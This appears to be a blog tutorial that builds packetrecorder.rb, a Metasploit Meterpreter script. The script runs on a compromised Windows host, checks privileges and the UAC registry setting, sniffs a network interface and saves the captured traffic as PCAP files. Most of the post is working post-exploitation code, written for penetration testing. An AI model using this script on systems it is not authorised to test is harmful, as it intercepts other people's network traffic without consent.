Now that we know the API calls and what variables to expect we can write a script for performing the automation. We will create the script in "scripts/meterpreter/" in the root of the latest SVN tree of 3.3, and call the script "packetrecorder.rb" (so as to give it a name that best describes its function). Lets start by breaking down the tasks we need the script to perform from what we have learned in previous blog posts about this module. The tasks we wish to perform are:
- Check the privilege level of the user we are running the commands under
- Is it System?
- Is it Not System?
- Is it Windows Vista or Windows 7?
- Check if UAC is Enabled
- Is it Windows Vista or Windows 7?
- Load Module and start Capture for interface given
- Save data to file in the time interval given
- Stop Capture and Exit
Know we now the tasks, lets review the information we will need to execute the sniffer:
- Interface index number
- Time Interval for retrieving the packets captured
Lets start by putting a description of what the script does as comment at the beginning and create a variable to hold the Meterpreter client object:
#Meterpreter script for monitoring and capturing packets and#saving them in to a PCAP file.#Provided by Carlos Perez at carlos_perez[at]darkoperator.comsession = client
Next we will gather information needed for creating a place to store the PCAP file and give us the ability to know from what IP and time the data was captured. In addition, to protect from over writing the data in the case of multiple shells, an instance of the script are achieved on a same host:
#Get Hostnamehost,port = session.tunnel_peer.split(':')# Create Filename info to be appended to downloaded filesfilenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")# Create a directory for the logslogs = ::File.join(Msf::Config.config_directory, 'logs', 'packetrecorder', host + filenameinfo )# Create the log directory::FileUtils.mkdir_p(logs)#logfile namelogfile = logs + ::File::Separator + host + filenameinfo + ".cap"
Create a variable with a default time interval in case the user does not provide it:
#Interval for collecting Packets in secondspacktime = 30
Get the user under which we are running under since this information will be important if the script is ran on Windows Vista or Windows 7 target:
#Get useruser = session.sys.config.getuid
Det the arguments we will receive from the user for the running of the script:
@@exec_opts = Rex::Parser::Arguments.new("-h" => [ false, "Help menu."],"-t" => [ true, "Time interval in seconds between recollection of packet, default 30 seconds."],"-i" => [ true, "Interface ID number where all packet capture will be done."],)
Next, create a function for starting the capture, this function will receive the Meterpreter client session variable and the interface index. It will return true or false if it successfully started the packet capture. If it fails to start the packet capture it should give us as much information as possible of why not:
#Function for Starting Capturedef startsniff(session,intid)begin#Load Sniffer modulesession.core.use("sniffer")print_status("Starting Packet capture on interface #{intid}")#starting packet capture with a buffer size of 200,000 packetssession.sniffer.capture_start(intid, 200000)print_status("Packet capture started")rescue ::Exception => eprint_status("Error Starting Packet Capture: #{e.class} #{e}")endend
Next, create a function for starting the recording of the packets, this function will receive the Meterpreter client session variable and the time interval in which to retrieve the packets captured and when interrumpted with a Crtl-c it will stop the capture and close the file, the file saving code was taken directly from the command dispatcher code ad modified :
def packetrecord(session, packtime, logfile,intid)beginrec = 1print_status("Packets being saved in to #{logfile}")#Inserting Packets every number of seconds specifiedprint("[*] Recording .")while rec == 1path_cap = logfilepath_raw = logfile + '.raw'fd = ::File.new(path_raw, 'wb+')#Flushing Buffersres = session.sniffer.capture_dump(intid)bytes_all = res[:bytes] || 0bytes_got = 0bytes_pct = 0while (bytes_all > 0)res = session.sniffer.capture_dump_read(intid,1024*512)bytes_got += res[:bytes]pct = ((bytes_got.to_f / bytes_all.to_f) * 100).to_iif(pct > bytes_pct)bytes_pct = pctendbreak if res[:bytes] == 0fd.write(res[:data])endfd.close#Converting raw file to PCAPfd = nilif(::File.exist?(path_cap))fd = ::File.new(path_cap, 'ab+')elsefd = ::File.new(path_cap, 'wb+')fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, 1].pack('NnnNNNN'))endpkts = {}od = ::File.new(path_raw, 'rb')# TODO: reorder packets based on the ID (only an issue if the buffer wraps)while(true)buf = od.read(20)break if not bufidh,idl,thi,tlo,len = buf.unpack('N5')break if not lenif(len > 10000)print_error("Corrupted packet data (length:#{len})")breakendpkt_id = (idh << 32) +idlpkt_ts = Rex::Proto::SMB::Utils.time_smb_to_unix(thi,tlo)pkt = od.read(len)fd.write([pkt_ts,0,len,len].pack('NNNN')+pkt)endod.closefd.close::File.unlink(path_raw)sleep(2)print(".")sleep(packtime.to_i)endrescue::Exception => eprint("\n")print_status("#{e.class} #{e}")print_status("Stopping Packet sniffer...")session.sniffer.capture_stop(intid)endend
Since in Windows Vista and Windows 7 targets where if we are not running as System we must check if UAC is enabled since this will cause the capture to fail we create a function to check if UAC is enabled:
#Function for Checking for UACdef checkuac(session)uac = falsebeginwinversion = session.sys.config.sysinfoif winversion['OS']=~ /Windows Vista/ or winversion['OS']=~ /Windows 7/print_status("Checking if UAC is enaled ...")key = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System'root_key, base_key = session.sys.registry.splitkey(key)value = "EnableLUA"open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)v = open_key.query_value(value)if v.data == 1uac = trueelseuac = falseendopen_key.close_key(key)endrescue ::Exception => eprint_status("Error Checking UAC: #{e.class} #{e}")endreturn uacend
Next, create a function to be displayed when the user uses the -h switch to get the options of the script:
def helpmsgprint("Packet Recorder Meterpreter Script\n" +"This script will start the Meterpreter Sniffer and save all packets\n" +"in a PCAP file for later anlysis. To stop capture hit Ctrl-C\n" +"Usage:" +@@exec_opts.usage)end
Parse the options to saved the values into variables for use by our functions:
# Parsing of Optionshelpcall = 0intid = 0@@exec_opts.parse(args) { |opt, idx, val|case optwhen "-t"packtime = valwhen "-i"intid = val.to_iwhen "-h"helpmsghelpcall = 1end}
Next, apply the logic of checking if the script is running as system and then checking if UAC is enabled for when the script is running against a Windows Vista or Windows 7 box:
if helpcall == 0if (user != "NT AUTHORITY\\SYSTEM") && intid != 0if not checkuac(session)startsniff(session,intid)packetrecord(session,packtime,logfile,intid)elseprint_line("[-] The Meterpreter process is not running as System and UAC is not enable, Insufficient Privileges to run")endelsif intid != 0startsniff(session,intid)packetrecord(session,packtime,logfile,intid)elsehelpmsgendend
The full script was committed to the Metasploit 3.3 Dev SVN. As you can tell I'm a big fan of using functions and doing error checking on them, the main reason is for code re-use and for simpler troubleshooting of the code when an error presents it self.


